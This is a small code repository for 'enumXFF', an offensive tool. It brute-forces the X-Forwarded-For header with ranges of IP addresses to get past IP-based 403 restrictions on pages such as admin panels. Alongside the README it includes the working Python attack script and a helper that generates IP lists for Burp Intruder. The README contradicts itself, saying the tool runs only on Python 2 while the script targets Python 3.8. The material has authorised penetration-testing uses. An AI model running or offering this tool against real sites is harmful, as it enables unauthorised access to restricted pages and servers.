├── requirements.txt ├── generateIPs.py ├── README.md └── enumXFF.py /requirements.txt: -------------------------------------------------------------------------------- 1 | requests-futures 2 | tqdm 3 | iptools 4 | -------------------------------------------------------------------------------- /generateIPs.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3 2 | import argparse 3 | import iptools 4 | 5 | parser = argparse.ArgumentParser() 6 | parser.add_argument("-r", "--range", 7 | help="IP range i.e. 0.0.0.0-255.255.255.255", required=True) 8 | parser.add_argument("-o", "--output", 9 | help="If an IP address returns a higher content length, save IP address to file", 10 | required=True) 11 | args = parser.parse_args() 12 | 13 | def generate_ips(ip_range): 14 | ip_start = ip_range.split("-")[0] 15 | ip_end = ip_range.split("-")[1] 16 | r = iptools.IpRange(ip_start, ip_end) 17 | return r 18 | 19 | ip_addresses = generate_ips(args.range) 20 | save_file = open(args.output, "a") 21 | 22 | for ip in ip_addresses: 23 | ip_list = ("{0}, ".format(ip) * 50)[:-2] 24 | save_file.write(ip_list + "\n") -------------------------------------------------------------------------------- /README.md: -------------------------------------------------------------------------------- 1 | All you need to do is run the tool from the terminal giving the following input: 2 | 3 | - Page to attempt (`http/https://website.com/page`) 4 | - The content length of the response that you get when you are denied 5 | - The IP range you wish the tool to attempt through `X-Forwarded-For` 6 | 7 | The tool will then simply request the given page with a range of IP addresses and then determine whether or not access to the said page is still forbidden. 8 | 9 | `python enumXFF.py -t http://sketchysite.com/admin -badcl 234 -r 192.168.0.0-192.168.255.255` 10 | 11 | The above command will attempt to request `http://sketchysite.com/admin` with all IP addresses in the range `192.168.0.0-192.168.255.255`. The python script takes advantage of asynchronous HTTP requests via the `requests-futures` module and hence should be fairly quick. Note, this tool only functions on Python2. 12 | 13 | In addition to this, the enumXFF project on Github also contains a script called `generateIPs.py`. This will simply generate a list of comma delimited IP addresses that can be input directly to Burp's Intruder. If the tool isn't the best way for you, Burp's Intruder is a reliable option to fall back on. 14 | 15 | To generate the IPs for the range 192.168.0.0-192.168.255.255, you would need to use the following command: 16 | 17 | `python3 generateIPs.py -r 192.168.0.0-192.168.255.255 -o burp_xff_ips.txt` 18 | 19 | Refer to this blog post for further details: https://shubh.am/enumerating-ips-in-x-forwarded-headers-to-bypass-403-restrictions/ 20 | -------------------------------------------------------------------------------- /enumXFF.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/env python3.8 2 | from concurrent.futures import ThreadPoolExecutor 3 | from requests_futures.sessions import FuturesSession 4 | from tqdm import tqdm 5 | import argparse 6 | import iptools 7 | 8 | parser = argparse.ArgumentParser() 9 | parser.add_argument("-t", "--target", 10 | help="Restricted Page (target)", required=True) 11 | parser.add_argument("-cl", "--badcl", 12 | help="Restricted Access Content Length", required=True) 13 | parser.add_argument("-r", "--range", 14 | help="IP range i.e. 0.0.0.0-255.255.255.255", required=True) 15 | parser.add_argument("-w", "--workers", 16 | help="Worker/thread count - default is 100", default=100) 17 | parser.add_argument("-o", "--output", 18 | help="If an IP address returns a higher content length, save IP address to file", 19 | default="working_ips.txt") 20 | args = parser.parse_args() 21 | 22 | session = FuturesSession(executor=ThreadPoolExecutor(max_workers=args.workers)) 23 | 24 | def generate_ips(ip_range): 25 | ip_start = ip_range.split("-")[0] 26 | ip_end = ip_range.split("-")[1] 27 | r = iptools.IpRange(ip_start, ip_end) 28 | return r 29 | 30 | ip_addresses = generate_ips(args.range) 31 | 32 | for ip in tqdm(ip_addresses): 33 | ip_list = ("{0}, ".format(ip) * 50)[:-2] 34 | x_forwarded_for_header = {"X-Forwarded-For" : ip_list} 35 | future = session.head(args.target, headers=x_forwarded_for_header) 36 | response = future.result() 37 | if 'content-length' in response.headers: 38 | if response.headers['content-length'] > args.badcl: 39 | ip_save_file = open(args.output, "a") 40 | ip_save_file.write(args.target + ": " + str(x_forwarded_for_header) + "\n") 41 | print ("Access granted with {0}".format(ip)) 42 | break 43 | --------------------------------------------------------------------------------